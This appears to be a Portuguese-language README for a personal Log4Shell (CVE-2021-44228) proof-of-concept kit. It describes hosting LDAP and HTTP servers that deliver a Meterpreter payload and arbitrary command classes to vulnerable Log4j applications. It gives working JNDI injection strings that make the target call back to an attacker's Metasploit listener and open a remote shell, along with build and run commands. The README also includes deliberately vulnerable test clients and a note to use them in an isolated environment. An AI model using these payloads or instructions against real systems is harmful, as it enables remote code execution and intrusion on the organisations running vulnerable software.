
Log4Shell (Cve-2021-44228) Prova de Conceito
Log4Shell (Cve-2021-44228) Prova de Conceito
Este é um projeto pessoal que executa um POC simples que hospedará um servidor LDAP e um servidor HTTP para o exploit Log4Shell.
O run_servers.py configurará um cliente meterpreter reduzido que fará o callback para a instância do Metasploit passada na solicitação ldap. Isso executará a instância do meterpreter em uma thread no processo original que foi afetado pelo exploit Log4Shell.
O servidor LDAP é escrito em Java e o servidor HTTP é hospedado em Python e servirá a partir de um diretório wwwroot recém-criado. Isso requer java, javac e mvn para compilar os exploits e hospedar o servidor LDAP. Usei Java 8.
Python3 também é necessário.
run: python3 run_servers.py <your_ip_address> <the_http_port> [ldap_port]
Em seguida, passe a string jndi para um cliente vulnerável registrar, ou seja: se o seu host fosse 10.20.30.40 e a sua instância do metasploit fosse 20.30.40.50 escutando na porta 4444, ficaria assim : '${jndi:ldap://10.20.30.40:1389/#MM:20.30.40.50:4444}'
Você pode compilar classes que executarão comandos no sistema de origem. Você pode ter comandos diferentes para sistemas baseados em Windows ou Linux. Por exemplo, para criar uma classe chamada TestCmd que iniciará uma calculadora em sistemas Windows e o Firefox em sistemas Linux, execute : python3 build_cmd.py TestCmd -w "Calc.exe" -l "firefox"
Você pode ter várias classes pré-construídas. Se você não especificar um comando para o sistema operacional de destino, nada será executado. Observe que esses comandos são executados como CMD \c "your command" no Windows e /bin/sh -c "your command" no Linux.
Para acionar o comando acima, use o nome da classe que você criou, ou seja : '${jndi:ldap://10.20.30.40:1389/#TestCmd'
O arquivo Payload.java é o arquivo Meterpreter completo configurado para ser executado como uma thread no processo de chamada que teve o problema do log4shell. Ele precisa ser compilado manualmente e movido para o diretório wwwroot. Além disso, você precisa ter o arquivo metasploit.dat configurado com as propriedades necessárias.
O diretório clients contém 2 clientes que podem ser executados. Um é um simples programa de linha de comando que escreverá um log de erro para o que for passado como 1º parâmetro.
O outro é um servidor web básico que escreverá um log de erro usando as informações do cabeçalho log_me. Observe que isso deve ser executado em um ambiente controlado e isolado.
navegue até o diretório clients e execute ./build_clients.sh
a partir do diretório clients execute : java -cp target/l4sclients-1.0-SNAPSHOT-all.jar Log4jWebServer [Port_number]
a partir do diretório clients execute : java -cp target/l4sclients-1.0-SNAPSHOT-all.jar Log4jCmdLine '${jndi:ldap://127.0.0.1:1389/#MM:127.0.0.1:4444}'